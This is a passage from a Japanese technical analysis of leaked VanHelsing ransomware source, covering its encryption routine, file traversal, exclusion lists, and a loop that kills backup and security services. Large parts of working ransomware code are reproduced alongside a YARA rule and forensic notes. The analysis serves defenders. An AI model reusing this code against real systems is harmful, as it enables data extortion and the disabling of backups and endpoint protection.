5.1 暗号化方式の選択とその背景

VanHelsingは、libsodiumの crypto_secretstream_xchacha20poly1305(ストリーム暗号化)と crypto_box_seal(公開鍵暗号化)を組み合わせたハイブリッド暗号化を採用している[23]。GLIMPSの分析では「LockBitやNitrogen/LukaLockerと類似した暗号方式」と報告されている[24]。

なぜこの組み合わせが選ばれたか:

  • XChaCha20-Poly1305(対称暗号): AESと異なりハードウェアアクセラレータ(AES-NI)に依存しないため、あらゆるCPUで高速に動作する。さらにAEAD(認証付き暗号)であり、暗号化と同時にデータの完全性を保証する。24バイトの拡張nonceにより、同一鍵での安全なメッセージ数が天文学的に増大し、ファイルごとに鍵を使い回しても安全
  • Curve25519 crypto_box_seal(非対称暗号): セッション鍵を攻撃者の公開鍵で「封印」する。この「匿名暗号化」は送信者の身元確認を行わないため、ランサムウェアのように復号者(攻撃者)だけが秘密鍵を持つシナリオに最適
  • libsodiumの高レベルAPI使用: 低レベルの暗号プリミティブを直接使用せず、crypto_secretstreamcrypto_box_seal のような「misuse-resistant」(誤用耐性のある)APIを使用しているため、暗号化実装のバグが発生しにくい。Babukが独自ChaCha20実装で欠陥を抱えたのとは対照的

5.2 encryptFile() — 暗号化処理の全容

encryption.cpp のメイン暗号化関数を、コメント付きで全体像を示す(encryption.cpp:11-181)。

BOOL encryption::encryptFile(LPVOID lparam)
{
    char msg[1500];
    WCHAR debug[1500 * 2];
    enecryptionParam* _enecryptionParam = reinterpret_cast<enecryptionParam*>(lparam);

    // ===== ステップ1: 対象ファイルをオープン =====
    std::ifstream inFile(_enecryptionParam->file_path, std::ios::binary);
    if (!inFile) {
        // バグ: %s にWCHAR*を渡している(%lsが正しい)
        snprintf(msg, sizeof(msg),
            "[!]\tError opening input file for encryption: %s  error id : %d \n",
            _enecryptionParam->file_path, GetLastError());
        printf("%s", msg);
        return FALSE;
    }

    // ファイルサイズ取得(seekg→tellg→seekg パターン)
    inFile.seekg(0, std::ios::end);
    long long int fileSize = inFile.tellg();
    inFile.seekg(0, std::ios::beg);

    // ===== ステップ2: 出力ファイル作成(元ファイル名 + ".vanhelsing") =====
    WCHAR temp_new_file_path[MAX_PATH * 4];
    StringCchPrintf(temp_new_file_path, ARRAYSIZE(temp_new_file_path),
                    L"%s.vanhelsing", _enecryptionParam->file_path);
    std::ofstream outFile(temp_new_file_path, std::ios::binary | std::ios::trunc);

    // ===== ステップ3: ファイル固有のセッション鍵を生成 =====
    unsigned char key[crypto_secretstream_xchacha20poly1305_KEYBYTES];  // 32バイト
    crypto_secretstream_xchacha20poly1305_keygen(key);
    // → libsodiumのCSPRNG(Windowsでは内部的にRtlGenRandom)で生成

    // ===== ステップ4: セッション鍵を公開鍵で暗号化 =====
    unsigned char encKey[crypto_secretstream_xchacha20poly1305_KEYBYTES
                        + crypto_box_SEALBYTES];  // 32 + 48 = 80バイト
    crypto_box_seal(encKey, key, sizeof(key), _enecryptionParam->publicKey);
    // → Curve25519: 一時鍵ペア生成→X25519共有秘密→XSalsa20-Poly1305で封印

    // HEX文字列に変換(80バイト → 160文字 + null終端)
    char hexKey[(sizeof(encKey) * 2) + 1];
    sodium_bin2hex(hexKey, sizeof(hexKey), encKey, sizeof(encKey));

    // ===== ステップ5: メタデータをファイル先頭に書き込み =====
    CHAR meta[512];
    sprintf(meta, "---key---%s---endkey---\n", hexKey);
    outFile.write(meta, strlen(meta));
    // → テキスト形式のデリミタ。Decrypterがパースして鍵を抽出する

    // ===== ステップ6: ストリーム暗号化を初期化 =====
    crypto_secretstream_xchacha20poly1305_state stream_state;
    unsigned char header[crypto_secretstream_xchacha20poly1305_HEADERBYTES];  // 24バイト
    crypto_secretstream_xchacha20poly1305_init_push(&stream_state, header, key);
    outFile.write(reinterpret_cast<char*>(header), sizeof(header));
    // → headerには拡張nonceが含まれ、復号時にinit_pullに渡す

    // ===== ステップ7: チャンクバッファ確保 =====
    const size_t CHUNK_SIZE = 1 * 1024 * 1024;  // 1MB
    unsigned char* fileData = (unsigned char*)malloc(CHUNK_SIZE);
    unsigned char* encryptedData = (unsigned char*)malloc(
        CHUNK_SIZE + crypto_secretstream_xchacha20poly1305_ABYTES);  // +17バイト(認証タグ)
    // 関数終了時にfree()されない(メモリリーク)

バグ: snprintfへのWCHAR*渡し (encryption.cpp:21)

snprintf%s フォーマット指定子はマルチバイト文字列(char*)を期待するが、_enecryptionParam->file_pathWCHAR*(ワイド文字列)である。これにより出力されるファイルパスが文字化けする。正しくは %ls を使用するか、wprintf / swprintf を使用すべきである。デバッグ出力のためLockerの動作自体には影響しないが、フォレンジック分析時にログが読めない問題を引き起こす。

バグ: mallocバッファの未解放 (encryption.cpp:63-78, 174-180)

fileDataencryptedDatamalloc で確保されるが、関数の正常終了パス(行180の return TRUE)で free() が呼ばれていない。異常終了パス(行68, 76-77)では部分的に解放されているが、正常終了時は常にリークする。ファイル数が多い環境ではメモリ消費が増大するが、Lockerは比較的短時間で終了するため実用上の影響は限定的。

5.3 暗号化戦略 — ファイルサイズによる自動判定

if(_enecryptionParam->strategy == Auto)  // 現在の実装では常にAuto
{
    if (fileSize <= 1048576000)  // ≈ 1GB (正確には1000MB = 0x3E800000)
    {
        // === 戦略A: 全体暗号化 ===
        while (remainingSize > 0) {
            chunkSize = (remainingSize >= CHUNK_SIZE) ? CHUNK_SIZE : remainingSize;
            inFile.read(reinterpret_cast<char*>(fileData), chunkSize);
            tag = inFile.eof()
                ? crypto_secretstream_xchacha20poly1305_TAG_FINAL : 0;
            crypto_secretstream_xchacha20poly1305_push(
                &stream_state, encryptedData, &out_len,
                fileData, chunkSize, nullptr, 0, tag);
            outFile.write(reinterpret_cast<char*>(encryptedData), out_len);
            remainingSize -= chunkSize;
        }
    }
    else  // > 1GB
    {
        // === 戦略B: 部分暗号化(先頭20%のみ) ===
        long long int remainingSize = fileSize * 20 / 100;  // 先頭20%
        while (TotalSize > 0) {
            chunkSize = (TotalSize >= CHUNK_SIZE) ? CHUNK_SIZE : TotalSize;
            inFile.read(reinterpret_cast<char*>(fileData), chunkSize);
            tag = inFile.eof()
                ? crypto_secretstream_xchacha20poly1305_TAG_FINAL : 0;

            if(remainingSize > 0) {
                // 先頭20%: 暗号化して書き込み
                crypto_secretstream_xchacha20poly1305_push(...);
                outFile.write(reinterpret_cast<char*>(encryptedData), out_len);
            } else {
                // 残り80%: 平文のまま書き込み
                outFile.write(reinterpret_cast<char*>(fileData), chunkSize);
            }
            remainingSize -= chunkSize;
            TotalSize -= chunkSize;
        }
    }
}

なぜ部分暗号化を採用するのか — 速度 vs 復旧不能性のトレードオフ

1GBを超えるファイル(データベース、仮想ディスクイメージ、バックアップアーカイブ等)に対して先頭20%のみを暗号化する戦略は、暗号化速度の最大化ファイル復旧の困難化のバランスを取る設計である。

  • 速度面: 10GBのデータベースファイルを全体暗号化すると、1MB/チャンクの処理で数分かかる。この間にEDRが暗号化パターンを検知して遮断するリスクがある。先頭20%(2GB)のみの暗号化なら処理時間は約1/5に短縮される
  • 復旧困難化: ほぼすべてのファイル形式は先頭にヘッダー(マジックナンバー、メタデータ、ファイル構造情報)を持つ。先頭が暗号化されるとファイル形式の識別すら不可能になり、専門ツールでの部分復旧も極めて困難

Check Pointとの数値差異: Check Pointは「先頭30%を暗号化」と報告しているが[25]、リークされたソースコードでは fileSize * 20 / 100 と明確に20%である。5日間隔の2バリアントが確認されており、この数値がバージョン間で変更された可能性が高い。Picus Securityの分析でも30%と報告されている[26]。

フォレンジック上の示唆: 1GBを超える暗号化ファイルの末尾80%には元データが平文で残存する。データベースファイルの場合、テーブルデータの一部が復旧可能な場合がある。ただしファイルヘッダーが破壊されているため、手動での構造解析が必要。

5.4 コメントアウトされた旧バージョンの暗号化コード

encryption.cpp:184-289に、全面コメントアウトされた旧バージョンの encryptFile() が残っている:

//BOOL encryption::encryptFile(LPVOID lparam)
//{
//    // ... (旧バージョン:全ファイル全体暗号化、部分暗号化なし)
//    while (remainingSize > 0) {
//        // 常に全チャンクを暗号化(ファイルサイズ判定なし)
//        crypto_secretstream_xchacha20poly1305_push(...);
//    }
//    // 注目: DeleteFileW()がない — 元ファイルが残る
//    return TRUE;
//}

旧バージョンとの差異:

  1. 部分暗号化なし: ファイルサイズによる分岐がなく、全ファイルを全体暗号化
  2. 元ファイル未削除: DeleteFileW() が呼ばれていないため、暗号化ファイルと元ファイルが両方残る
  3. メモリ確保のエラーハンドリングなし: malloc の戻り値チェックがない

現行バージョンへの進化過程で、部分暗号化の導入と元ファイル削除が追加されたことがわかる。元ファイル削除の追加は、被害者がバックアップなしにファイルを復旧することを防ぐための改善である。

5.5 暗号化ファイルのバイナリ構造

+------------------------------------------------------------------+
| メタデータ (ASCII テキスト、可変長)                                  |
| "---key---"                                                       |
| [160文字: crypto_box_seal暗号化セッション鍵のHEX]                   |
| "---endkey---\n"                                                  |
+------------------------------------------------------------------+
| ストリームヘッダー (24バイト バイナリ)                                |
| [crypto_secretstream_xchacha20poly1305 header/拡張nonce]           |
+------------------------------------------------------------------+
| 暗号化チャンク (各 ≤ 1MB + 17バイト認証タグ)                        |
| [AEAD暗号文] [Poly1305認証タグ]                                    |
+------------------------------------------------------------------+
| ... (チャンク繰り返し)                                              |
+------------------------------------------------------------------+
| 最終チャンク (TAG_FINAL フラグ付き)                                  |
+------------------------------------------------------------------+
| ※ >1GBファイル: 先頭20%以降は平文チャンク                           |
+------------------------------------------------------------------+

Picus Securityの分析によれば、暗号化ファイルの先頭パターンは以下の通り[26]:

---key---$KEY_HEX---endkey-----nonce---$NONCE_HEX---endnonce--$ENCRYPTED_CHUNKS

ただし、リークされたソースコード上ではnonceの別途書き込み(---nonce---...---endnonce---)は確認できない。Picus Securityが分析したバリアントと本ソースコードのバリアントに実装差異がある可能性がある。本ソースコードでは、nonceはストリームヘッダー(24バイト)の一部としてバイナリ形式で書き込まれる。

OPSEC考察 — テキスト形式メタデータの意味: ---key---...---endkey--- というテキストデリミタを使用していることで、暗号化ファイルの識別がYARAルールで極めて容易になる:

rule VanHelsing_EncryptedFile {
    strings:
        $header = "---key---" ascii
        $footer = "---endkey---" ascii
    condition:
        $header at 0 and $footer in (0..512)
}

より洗練されたランサムウェアはバイナリ形式のカスタムヘッダーを使用し、マジックバイト等による識別を困難にする。VanHelsingのテキスト形式デリミタは、Decrypterの実装を簡易化する目的で選択されたと推測される。

5.6 鍵管理の全体像と復号要件

[ビルド時]
  攻撃者 → Curve25519鍵ペア生成 → 公開鍵をビルダー経由でLocker内に埋め込み
                                    秘密鍵は攻撃者が保持

[暗号化時 — ファイルごと]
  ① crypto_secretstream_xchacha20poly1305_keygen() → 32バイトセッション鍵
  ② crypto_box_seal(セッション鍵, 公開鍵) → 80バイト暗号化セッション鍵
  ③ 暗号化セッション鍵 → HEX化 → ファイル先頭に埋め込み
  ④ セッション鍵でファイル内容をストリーム暗号化

[復号時]
  ① ファイルから ---key---...---endkey--- を抽出
  ② HEX → バイナリ変換(80バイト暗号化セッション鍵)
  ③ crypto_box_seal_open(暗号化セッション鍵, 公開鍵, 秘密鍵) → 32バイトセッション鍵
  ④ crypto_secretstream_xchacha20poly1305_init_pull() + pull() で復号

復号不能性: 攻撃者のCurve25519秘密鍵がなければ、ステップ③のseal_openが実行できず復号は不可能。ファイルごとに異なるセッション鍵が使用されるため、仮に1ファイルのセッション鍵が漏洩しても他のファイルには影響しない(前方秘匿性に類似した特性)。

参考文献

[23] encryption.cpp:11-181
[24] https://www.glimps.re/en/resource/vanhelsing-our-cti-experts-publish-their-technicalanalysis/ (GLIMPS)
[25] https://research.checkpoint.com/2025/vanhelsing-new-raas-in-town/ (Check Point, 2025-03-24)
[26] https://www.picussecurity.com/resource/multi-platform-vanhelsing-ransomware-raas-analysis (Picus Security)


6. ファイル暗号化処理フロー

6.1 ドライブ列挙 — EnumDrivers()

EnumDrivers()(diskmanagment.cpp:158-237)はシステム上の論理ドライブを列挙し、暗号化対象を選定する:

drivers* diskmanagment::EnumDrivers()
{
    // 必要なバッファサイズを取得
    DWORD drivers_list_size = GetLogicalDriveStringsW(0, NULL);
    WCHAR* temp_drivers_list = (WCHAR*)malloc(drivers_list_size * sizeof(WCHAR));
    // ドライブ文字列を取得(例: "C:\\\0D:\\\0E:\\\0\0")
    GetLogicalDriveStringsW(drivers_list_size, temp_drivers_list);

    UINT DriverType;
    while (*temp_drivers_list)
    {
        DriverType = GetDriveTypeW(temp_drivers_list);

        if (DriverType == DRIVE_FIXED) {
            // 固定ディスク → 常に暗号化対象
            swprintf_s(drivers_list->drivers_list[drivers_count], L"%s", temp_drivers_list);
            SetFileAttributesW(temp_drivers_list, FILE_ATTRIBUTE_NORMAL);  // ドライブルートの属性を正規化
            drivers_count += 1;
        }
        else if (DriverType == DRIVE_REMOTE) {
            if (isNoMounted == FALSE) {
                // ネットワークドライブ → --no-mounted未指定時のみ対象
                // ...同様の処理...
            }
        }
        // DRIVE_REMOVABLE(USB)、DRIVE_CDROM は対象外
        temp_drivers_list += lstrlenW(temp_drivers_list) + 1;
    }
    return drivers_list;
}

なぜUSBドライブを除外するか: DRIVE_REMOVABLE(USBメモリ等)を暗号化対象に含めると、被害者がUSBにバックアップを取っていた場合にそれも暗号化してしまう。一見有利に見えるが、USB内にランサムノートが配置されると、そのUSBを別のPC に接続した際にセキュリティソフトが検知する可能性がある。また、USBは物理的に取り外せるため暗号化中に中断されるリスクがある。

OPSEC考察 — SetFileAttributesWの使用: ドライブルートに対して FILE_ATTRIBUTE_NORMAL を設定している(行212, 223)。これはドライブルートが隠し属性やシステム属性を持っている場合に、DirectorySearchでアクセスできるようにする前処理。通常、ドライブルート(C:\)に特殊な属性が設定されることは稀だが、一部のセキュリティソフトがドライブルートに隠し属性を設定するケースへの対策と考えられる。

6.2 再帰的ディレクトリ探索 — DirectorySearch()

DirectorySearch()(diskmanagment.cpp:240-342)の全容:

VOID diskmanagment::DirectorySearch(WCHAR* entry, unsigned char* publicKey,
                                     const WCHAR* mode)
{
    WCHAR searchPath[1500 * 2];
    swprintf_s(searchPath, L"%s\\*", entry);

    WIN32_FIND_DATAW data;
    HANDLE hFile = FindFirstFileW(searchPath, &data);
    if (hFile == INVALID_HANDLE_VALUE) {
        wprintf(L"[!] Error opening directory: %s  error id : %d \n",
                entry, GetLastError());
        return;
    }

    do {
        // (a) 特殊エントリとREPARSE_POINTをスキップ
        if (lstrcmpW(data.cFileName, L".") == 0 ||
            lstrcmpW(data.cFileName, L"..") == 0 ||
            data.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT)
            continue;

        swprintf_s(fullPath, L"%s\\%s", entry, data.cFileName);

        if (data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            // (b) ディレクトリ処理
            if (this->IsBlackListedDirectory(data.cFileName)) continue;

            SetFileAttributesW(fullPath, FILE_ATTRIBUTE_NORMAL);  // 属性正規化

            if (CanAccessDirectory(fullPath) && !IsDirectoryEmpty(fullPath)) {
                Vanhelsing_DropReadMe(entry);  // 親ディレクトリにREADME.txt配置
                this->DirectorySearch(fullPath, publicKey, mode);  // 再帰
            }
        }
        else {
            // (c) ファイル処理
            if (this->IsBlackListedFileExtention(data.cFileName)) continue;

            // コメントアウトされたスレッド実行の痕跡:
            //WaitForSingleObject(hSemaphore, INFINITE);
            //std::thread(enc->encryptFile, _enecryptionParam).detach();

            std::unique_ptr<encryption> enc = std::make_unique<encryption>();
            std::unique_ptr<enecryptionParam> _enecryptionParam =
                std::make_unique<enecryptionParam>();

            _enecryptionParam->file_path = _wcsdup(FilePath);  // メモリリーク
            _enecryptionParam->publicKey = publicKey;
            _enecryptionParam->strategy = Auto;

            if(lstrcmpW(mode, L"Silent") == 0)
                enc->SilentMode(_enecryptionParam.release());
            else
                enc->encryptFile(_enecryptionParam.release());
        }
    } while (FindNextFileW(hFile, &data) != 0);

    FindClose(hFile);
}

コメントアウトされたマルチスレッド暗号化

行309-310に以下のコメントアウトされたコードがある:

//WaitForSingleObject(hSemaphore, INFINITE);
//std::thread(enc->encryptFile, _enecryptionParam).detach();

セマフォで同時実行スレッド数を制限しつつ、ファイルごとにスレッドを起動するマルチスレッド暗号化が検討されていた。common.cppのコメントアウトされた max_threads_num = 5 と合わせると、最大5並列の暗号化スレッドプールが計画されていたことがわかる。

現行実装は完全に同期的(シーケンシャル)であり、1ファイルの暗号化が完了するまで次のファイルに進まない。これはLockBit 3.0のI/Oコンプリーションポートベースの高速並列暗号化と比較して著しく遅い。開発者はマルチスレッド化を試みたが、スレッド安全性の問題(シングルトンの encryption::instance への同時アクセス等)により断念したと推測される。

バグ: _wcsdup()によるメモリリーク (行323)

_wcsdup(FilePath) はヒープにファイルパスのコピーを確保するが、encryptFile()SilentMode() の内部で free() されていない。unique_ptr::release() で所有権が移譲されるが、移譲先で適切に解放されないため、処理したファイル数分だけメモリがリークする。

FILE_ATTRIBUTE_REPARSE_POINT スキップの意味

リパースポイント(シンボリックリンク、ジャンクションポイント)をスキップすることで:

  1. 無限ループ防止: シンボリックリンクのループ(A→B→A)に陥ることを防ぐ
  2. 二重暗号化防止: ジャンクションポイントが指す実体ディレクトリは、通常のパスからの走査で既に処理される
  3. OneDrive/Dropbox対応: クラウド同期フォルダがリパースポイントとして実装されている場合があり、これを辿ると同期先の大量データにアクセスする可能性がある

6.3 ブラックリスト — 設計思想とOPSEC的役割

ディレクトリブラックリスト (diskmanagment.cpp:12-34)

const WCHAR* BlackListenDirectories[] = {
    L"tmp", L"winnt", L"temp", L"thumb",
    L"$Recycle.Bin", L"$RECYCLE.BIN",
    L"System Volume Information", L"Boot",
    L"Windows",
    L"Trend Micro",                    // セキュリティベンダー固有
    //L"program files",                // コメントアウト
    //L"program files(x86)",           // コメントアウト
    L"tor browser",                    // 身代金支払いに必要
    L"windows",                        // 大文字小文字の両方を列挙
    L"intel", L"all users",
    L"msocache", L"perflogs",
    L"default", L"microsoft",
    //L"inetpub"                       // コメントアウト(IIS)
};

コメントアウトされたエントリの分析:

  • program files / program files(x86): コメントアウトされたということは、当初はプログラムファイルを除外していたが、後に暗号化対象に変更された。インストールされたアプリケーションのデータ(例: データベースのデータファイル)を暗号化するためと推測される
  • inetpub: IISのWebルートディレクトリ。除外が解除されたことで、Webサーバーのコンテンツも暗号化対象になった

Trend Micro の除外: セキュリティベンダー固有のディレクトリを除外しているのは、セキュリティソフトのファイルを暗号化するとソフト自体がクラッシュし、その結果として異常アラートが発生するためと推測される。MonitorAndKill()でTrend Microのサービス(tmlisten, ntrtscan)を停止しているが、サービス停止後もディレクトリ内のファイルにアクセスしようとするとファイルロックの問題が発生する可能性がある。しかし他のベンダー(Sophos, Kaspersky等)の除外がないのは一貫性の欠如と言える。

tor browser の除外: ランサムウェアの身代金交渉にTorブラウザが必要なため、被害者のTorブラウザを保護する。これは「被害者が身代金を支払える状態を維持する」というランサムウェアの経済的合理性に基づく設計判断。

拡張子ブラックリスト全件 (diskmanagment.cpp:36-109)

ソースコードに定義されている全71エントリ(69ユニーク、.dll.mod が各2回重複)を以下に示す:

const WCHAR* BlackListedFileExtentions[] = {
    // --- VanHelsing固有(二重暗号化防止) ---
    L".vanlocker",          // アイコン登録用の旧拡張子
    L".vanhelsing",         // 実際の暗号化ファイル拡張子

    // --- 実行可能ファイル(OS/アプリケーション動作の維持) ---
    L".exe",   L".dll",   L".lnk",   L".sys",   L".msi",
    L".com",   L".dll",   // 重複
    L".drv",   L".ocx",   L".scr",

    // --- ブート/システムファイル(OS起動の維持) ---
    L"boot.ini",           L"autorun.inf",
    L"bootfont.bin",       L"bootsect.bak",
    L"ntldr",

    // --- ユーザープロファイル(ログイン維持) ---
    L"desktop.ini",        L"ntuser.dat",
    L"ntuser.dat.log",     L"ntuser.ini",

    // --- キャッシュ/サムネイル(価値の低いデータ) ---
    L"iconcache.db",       L"thumbs.db",
    L"GDIPFONTCACHEV1.DAT", L"d3d9caps.dat",

    // --- Locker自身の出力ファイル ---
    L"LOGS.txt",           // Lockerのログファイル
    L"README.txt",         // ランサムノート

    // --- スクリプト(ランサムウェア自身の動作維持) ---
    L".bat",   L".cmd",   L".ps1",

    // --- バイナリ/アーカイブ ---
    L".bin",   L".cab",

    // --- システム設定/テーマ ---
    L".386",   L".adv",   L".ani",   L".ico",
    L".mod",   L".msstyles", L".msu", L".nomedia",
    L".rtp",   L".syss",  L".prf",
    L".deskthemepack",     L".cur",   L".cpl",
    L".theme", L".themepack", L".wpx",

    // --- 診断ツール ---
    L".diagcab", L".diagcfg", L".diagpkg",

    // --- 開発/デバッグ ---
    L".hlp",   L".pdb",   L".hta",

    // --- 暗号化関連(暗号化インフラの保護) ---
    L".key",   L".lock",

    // --- コメントアウト(暗号化対象に変更済み) ---
    //L".ldf",             // SQL Serverログファイル
    //L".ndf",             // SQL Serverセカンダリデータファイル

    // --- その他 ---
    L".icl",   L".icns",  L".ics",   L".idx",
    L".mod",   // 重複
    L".mpa",   L".msc",   L".msp",   L".nls",
    L".rom",   L".shs",   L".spl",
};

拡張子ブラックリストの判定ロジックと実装バグ (diskmanagment.cpp:360-371)

BOOL diskmanagment::IsBlackListedFileExtention(WCHAR* FileName)
{
    INT Count = sizeof(BlackListedFileExtentions) / sizeof(LPWSTR);
    for (int i = 0; i < Count; i++) {
        // ファイル名の末尾から拡張子長分のオフセットで比較
        if (StrStrIW(
            FileName + wcslen(FileName) - wcslen(BlackListedFileExtentions[i]),
            BlackListedFileExtentions[i])) {
            return TRUE;
        }
    }
    return FALSE;
}

バグ: ポインタアンダーフロー — ファイル名が拡張子より短い場合(例: ファイル名 "a" に対して拡張子 ".deskthemepack" をチェック)、wcslen(FileName) - wcslen(BlackListedFileExtentions[i]) が負の値になり、FileName の先頭より前のメモリを参照する未定義動作が発生する。

コメントアウトされた旧バージョン(行373-384)は StrStrIW(FileName, ...) でファイル名全体を検索していたが、これでは boot.inimyboot.ini.docx のようなファイル名にも誤マッチする。現行バージョンは末尾マッチに修正されたが、上述のアンダーフローバグが導入された。

注目すべき除外エントリ:

  • README.txt: 自身が配置するランサムノートを暗号化しないため
  • LOGS.txt: Lockerのログファイル(-v時に出力される可能性)を保護
  • .ldf / .ndf(コメントアウト): SQL Serverのログファイル/セカンダリデータファイル。当初は除外していたが、後に暗号化対象に変更。データベース復旧をより困難にする意図

参考文献

[27] diskmanagment.cpp:158-342
[28] diskmanagment.cpp:12-109
[29] https://research.checkpoint.com/2025/vanhelsing-new-raas-in-town/ (Check Point, 2025-03-24)


7. ディスク・ボリューム管理 — 補助関数群

7.1 CanAccessDirectory() — アクセス確認と権限問題

BOOL CanAccessDirectory(const WCHAR* path) {
    HANDLE hDir = CreateFileW(
        path,
        GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_BACKUP_SEMANTICS,  // ディレクトリ対応に必須
        NULL
    );
    if (hDir == INVALID_HANDLE_VALUE) {
        DWORD error = GetLastError();
        if (error == ERROR_ACCESS_DENIED) {
            wprintf(L"[!] Access denied: %s\n", path);  // Debugフラグ非依存の出力
        }
        return FALSE;
    }
    CloseHandle(hDir);
    return TRUE;
}

FILE_FLAG_BACKUP_SEMANTICSの二重の意味: このフラグは(1)ディレクトリハンドルの取得を可能にし、(2)SE_BACKUP_PRIVILEGE特権を持つプロセスがアクセス制御リスト(ACL)をバイパスできるようにする。Lockerが管理者権限で実行されている場合、通常はアクセスできないディレクトリ(他のユーザーのプロファイル等)にもアクセスできる可能性がある。

OPSEC上の問題: wprintf 出力が Debug フラグに依存しておらず、--no-logs を指定してもアクセス拒否のメッセージが出力される。GUIアプリケーションとしてコンパイルされているため通常は見えないが、-v フラグでコンソールが確保された状態では表示される。

7.2 IsDirectoryEmpty()

BOOL IsDirectoryEmpty(const WCHAR* path) {
    WCHAR searchPath[1500 * 2];
    swprintf_s(searchPath, L"%s\\*", path);

    WIN32_FIND_DATAW data;
    HANDLE hFind = FindFirstFileW(searchPath, &data);
    if (hFind == INVALID_HANDLE_VALUE) return TRUE;

    int fileCount = 0;
    do {
        if (lstrcmpW(data.cFileName, L".") != 0 &&
            lstrcmpW(data.cFileName, L"..") != 0) {
            fileCount++;
            break;  // 最適化: 1つでも見つかれば即座にFALSEを返す
        }
    } while (FindNextFileW(hFind, &data) != 0);

    FindClose(hFind);
    return (fileCount == 0);
}

空ディレクトリの除外は再帰呼び出しの削減に寄与するが、暗号化対象の正確性にも関わる。空ディレクトリにはランサムノート(README.txt)を配置する意味がないため、この判定は合理的。

参考文献

[30] diskmanagment.cpp:111-155


8. プロセス終了・サービス停止

8.1 MonitorAndKill() — 継続的な無力化ループ

processs.cppの全コードを以下に示す:

// processs.cpp:3-20 — サービス停止
BOOL StopServiceByName(const std::wstring& serviceName)
{
    SC_HANDLE scManager = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
    if (!scManager) return false;

    SC_HANDLE service = OpenService(scManager, serviceName.c_str(),
                                    SERVICE_STOP | SERVICE_QUERY_STATUS);
    if (!service) {
        CloseServiceHandle(scManager);
        return false;
    }

    SERVICE_STATUS status = {};
    bool result = ControlService(service, SERVICE_CONTROL_STOP, &status);

    CloseServiceHandle(service);
    CloseServiceHandle(scManager);
    return result;
}

// processs.cpp:22-45 — プロセス終了
BOOL KillProcessByName(const std::wstring& procName)
{
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return false;

    PROCESSENTRY32W pe;
    pe.dwSize = sizeof(pe);
    if (Process32FirstW(snap, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, procName.c_str()) == 0) {
                HANDLE hProc = OpenProcess(PROCESS_TERMINATE, FALSE,
                                          pe.th32ProcessID);
                if (hProc) {
                    TerminateProcess(hProc, 1);
                    CloseHandle(hProc);
                }
            }
        } while (Process32NextW(snap, &pe));
    }
    CloseHandle(snap);
    return true;
}

// processs.cpp:47-125 — 無限ループ監視
VOID MonitorAndKill()
{
    std::vector<std::wstring> services = { /* 184エントリ */ };
    std::vector<std::wstring> processes = { /* 44エントリ */ };

    while (true) {
        for (const auto& svc : services)
            StopServiceByName(svc);
        for (const auto& proc : processes)
            KillProcessByName(proc);
        Sleep(10000);  // 10秒間隔
    }
}

なぜ無限ループなのか — 他のランサムウェアとの差異

ほとんどのランサムウェア(LockBit、Conti、BlackCat等)はプロセス/サービス停止を暗号化前に1回だけ実行する。VanHelsingの10秒間隔の無限ループは以下のシナリオへの対策:

  1. 自動復旧サービス: Veeam、Sophos等のエンタープライズソフトは、サービスが停止されると自動的に再起動するウォッチドッグ機能を持つ。1回の停止では数秒後に復旧される
  2. IT管理者による手動復旧: 暗号化進行中にIT管理者がサービスを手動で再起動した場合、次のループで再停止される
  3. EDRの遅延応答: EDRがLockerを検知してサービスを再有効化した場合への対抗

しかし、この設計にはOPSEC上の重大なリスクがある: 10秒ごとに184回の OpenSCManagerOpenServiceControlService と、44回の CreateToolhelp32SnapshotProcess32First/NextTerminateProcess が実行される。これは膨大なWindows APIコールのパターンを生み出し、行動分析ベースのEDR(CrowdStrike Falcon, Microsoft Defender for Endpoint等)に容易に検出される。

8.2 停止対象の全リスト

サービス停止対象 — 全184エントリ (processs.cpp:49-93)

ソースコードに定義されている全エントリをカテゴリ別に分類して以下に示す。重複エントリ(MSSQL$VEEAMSQL2008R2, SQLAgent$VEEAMSQL2008R2, wbengine)を含み、ユニーク数は181。

バックアップ・リカバリ (23エントリ)

サービス名 製品
Acronis VSS Provider Acronis Backup
AcronisAgent Acronis Backup
AcrSch2Svc Acronis Scheduler
BackupExecAgentAccelerator Veritas Backup Exec
BackupExecAgentBrowser Veritas Backup Exec
BackupExecDeviceMediaService Veritas Backup Exec
BackupExecJobEngine Veritas Backup Exec
BackupExecManagementService Veritas Backup Exec
BackupExecRPCService Veritas Backup Exec
BackupExecVSSProvider Veritas Backup Exec
mozyprobackup Mozy Backup
SQL Backups SQL Backup
SQLsafe Backup Service Idera SQLsafe
SQLsafe Filter Service Idera SQLsafe
SQLSafeOLRService Idera SQLsafe
Veeam Backup Catalog Data Service Veeam
VeeamBackupSvc Veeam Backup
VeeamBrokerSvc Veeam Broker
VeeamCatalogSvc Veeam Catalog
VeeamCloudSvc Veeam Cloud
VeeamDeploymentService Veeam Deployment
VeeamDeploySvc Veeam Deploy
VeeamEnterpriseManagerSvc Veeam Enterprise Manager
VeeamHvIntegrationSvc Veeam Hyper-V Integration
VeeamMountSvc Veeam Mount
VeeamNFSSvc Veeam NFS
VeeamRESTSvc Veeam REST API
VeeamTransportSvc Veeam Transport
wbengine Windows Backup Engine (重複あり)
SDRSVC Windows System Restore
Zoolz 2 Service Zoolz Backup

セキュリティ・エンドポイント保護 (45エントリ)

サービス名 製品
Sophos Agent Sophos Endpoint
Sophos AutoUpdate Service Sophos
Sophos Clean Service Sophos
Sophos Device Control Service Sophos
Sophos File Scanner Service Sophos
Sophos Health Service Sophos
Sophos MCS Agent Sophos
Sophos MCS Client Sophos
Sophos Message Router Sophos
Sophos Safestore Service Sophos
Sophos System Protection Service Sophos
Sophos Web Control Service Sophos
sophossps Sophos
SAVAdminService Sophos Anti-Virus
SAVService Sophos Anti-Virus
Symantec System Recovery Symantec/Broadcom
SepMasterService Symantec Endpoint Protection
Smcinst Symantec
SmcService Symantec
SNAC Symantec Network Access Control
AVP Kaspersky
klnagent Kaspersky Network Agent
KAVFS Kaspersky File Server
KAVFSGT Kaspersky File Server
kavfsslp Kaspersky
McAfeeEngineService McAfee/Trellix
McAfeeFramework McAfee/Trellix
McAfeeFrameworkMcAfeeFramework コピペミス(実在しない)
McShield McAfee
McTaskManager McAfee
mfemms McAfee/Trellix
mfevtp McAfee/Trellix
